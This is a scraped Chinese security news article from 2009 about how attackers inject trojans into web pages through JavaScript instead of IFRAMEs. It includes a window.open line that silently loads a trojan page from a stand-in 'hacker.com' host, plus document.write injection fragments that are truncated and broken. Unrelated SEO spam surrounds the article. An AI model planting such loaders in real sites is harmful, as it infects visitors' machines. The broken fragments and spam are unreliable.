国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

教你如何反擊令人防不勝防的JS掛馬
2009-06-08   比特網

        IFRAME掛馬比較早,相應的預防措施也比較多,其中用CSS配合JS腳本進行預防是主流方式。可這種預防方式也存在安全隱患,JS腳本也可以被用來掛馬,令人防不勝防。我們下面要介紹反擊JS掛馬的方法。

  JS掛馬溯源

  當IFRAME逐漸被黑客濫用的時候,有經驗的安全工程師也開始研究相應的對策,一段時間內各種阻止IFRAME掛馬的方法不斷涌現,其中通用性較高的就是利用CSS配合JS腳本防御IFRAME掛馬。

  而黑客也發現,很多網站都會讓網頁調用JS腳本來實現廣告等諸多特效,如果將木馬掛在JS腳本中,所有調用該JS腳本的網頁都等同于被掛上了木馬,對于需要肉雞群的黑客而言是一勞永逸,因此JS腳本掛馬逐漸開始被黑客應用。

  小百科:JS腳本是JavaScript腳本語言的簡稱,它是一種面向對象的腳本語言,目前廣泛用于動態網頁的編程。需要提示大家的是,JavaScript和Java除了語法上有一些相似之處,以及都能夠當作網頁的編程語言以外,兩者是完全不相干的。而JavaScript與Jscript也不同,Jscript是微軟為了迎戰JavaScript推出的腳本語言。

  雖然JavaScript作為給非程序人員的腳本語言向大眾推廣,但是JavaScript是一門具有豐富特性的語言,它有著和其他編程語言一樣的復雜性。實際上,你必須對JS有扎實的理解才能用它來編寫比較復雜的程序,作為一名安全工程師,掌握JS腳本在工作中會有很大的幫助。

  掛馬原理一點通

  JS腳本掛馬對于黑客而言,可以說優點多得數不過來,首先JS腳本在掛馬時可以直接將JS代碼寫在網頁中,也可以通過注入網頁,讓網站遠程調取異地JS腳本。此外,JS掛馬插入Web頁面的方法有幾十種,絕對夠菜鳥們眼花繚亂,無從辨別木馬在何處。

  IFRAME掛馬相對于安全工程師而言,如同一個穿著鮮紅顏色外衣的劫匪,招搖而扎眼,很容易被發現。但是利用JS掛馬就意味著這個劫匪擁有了一張可以隨時變換的面孔,而且它還能夠隨時更換衣服。這樣的劫匪在安全工程師搜查時,很容易蒙混過關,導致木馬久殺不絕。

  JS掛馬攻防實錄

  攻現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬腳本就會通過用戶的瀏覽器悄悄地打開網馬窗口,隱藏地運行。

  這種方法使用的關鍵代碼如下:

  window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

  這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設為“0”,但是設置為0后,可能會出現惡意代碼不運行的情況。

  另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write(',寫入Windows中的寫字板另存為后綴為.js的腳本文件,并上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:

  或者

  document.write("

  ")

  document.write("")

  document.write("

  ")

  就成功地將木馬掛到了對方的網頁中了。

熱詞搜索:

上一篇:黑客瞄準取款機 現金安全無保證
下一篇:網絡漏洞 隱私可危

分享到: 收藏
主站蜘蛛池模板: 化德县| 手游| 宕昌县| 叶城县| 吉首市| 宜黄县| 多伦县| 若羌县| 双柏县| 济南市| 乌海市| 渭南市| 新蔡县| 上蔡县| 即墨市| 明溪县| 天津市| 木里| 繁峙县| 东光县| 塔河县| 邵武市| 新安县| 大港区| 东兰县| 永胜县| 建宁县| 尼木县| 于都县| 武平县| 兴义市| 渝中区| 柳河县| 洛扎县| 秀山| 从化市| 章丘市| 石阡县| 杭州市| 敦煌市| 界首市|